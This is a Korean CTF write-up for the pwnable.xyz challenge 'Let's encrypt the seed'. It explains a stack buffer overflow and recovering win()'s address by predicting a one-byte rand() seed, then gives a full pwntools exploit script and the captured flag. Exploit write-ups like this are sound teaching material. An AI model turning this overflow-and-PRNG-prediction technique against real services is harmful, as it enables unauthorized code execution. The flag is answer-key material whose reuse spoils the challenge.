Let's encrypt the seed
Mitigation
Analysis
Stack buffer overflow
read_line()
은 개행 문자가 들어올 때까지 계속해서 입력을 받는 gets()
와 동일한 동작을 합니다. 따라서 BOF가 발생하고 main()
의 return address를 덮어쓸 수 있습니다.
Exploit
Leak address of win()
main()
에서 do_seed()
에 win()
의 주소를 인자로 전달하고, do_seed()
에서는 인자로 전달된 값에서 1바이트를 뽑아 seed로 사용합니다. 가능한 경우의 수는 0x100
가지이기 때문에, 가능한 seed들에 대해 미리 random value들을 준비해 놓으면 encryption 결과를 보고 seed를 역으로 알아낼 수 있습니다.
Call win()
win()
의 주소를 알면 다음에 do_seed()
가 호출되었을 때 srand()
의 인자로 들어가는 값과 다음 rand()
의 반환값을 모두 알 수 있습니다. 따라서 main()
의 return address에 win()
의 주소가 들어가도록 적절히 plaintext를 입력할 수 있습니다.
Full exploit
from pwn import process, remote, p64
from ctypes import CDLL
REMOTE = True
HOST = 'svc.pwnable.xyz'
PORT = 30040
if not REMOTE:
r = process('./challenge')
else:
r = remote(HOST, PORT)
sla = r.sendlineafter
def Seed():
sla(b'> ', b'1')
def Encrypt(plaintext):
sla(b'> ', b'2')
sla(b'plaintext: ', plaintext)
def Print():
sla(b'> ', b'3')
def Ret():
sla(b'> ', b'0')
libc = CDLL('/lib/x86_64-linux-gnu/libc-2.27.so')
# prepare random values for possible seeds
random = []
for seed in range(0x100):
libc.srand(seed)
rand1 = libc.rand() & 0xff
rand2 = libc.rand() & 0xff
random.append([rand1, rand2])
libc.srand(0)
# leak address of win()
win = 0
for i in reversed(range(6)):
while libc.rand() & 7 != i:
Encrypt(b'a')
Seed()
Encrypt(b'\x01')
Print()
r.recvuntil(b'ciphertext: ')
rand1 = ord(r.recvn(1)) - 1
Encrypt(b'\x01')
Print()
r.recvuntil(b'ciphertext: ')
rand2 = ord(r.recvn(1)) - 1
b = random.index([rand1, rand2])
win += b << (i * 8)
libc.srand(b)
libc.rand()
libc.rand()
# Call win()
key = libc.rand() & 0xff
win_encrypted = 0
for i in reversed(range(6)):
b = (win & 0xff << i * 8) >> i * 8
b -= key
b &= 0xff
win_encrypted += b << i * 8
payload = b'a' * 0x98
payload += p64(win_encrypted)
Encrypt(payload)
Ret()
r.interactive()
FLAG{leak_by_guessing_the_s33d}
728x90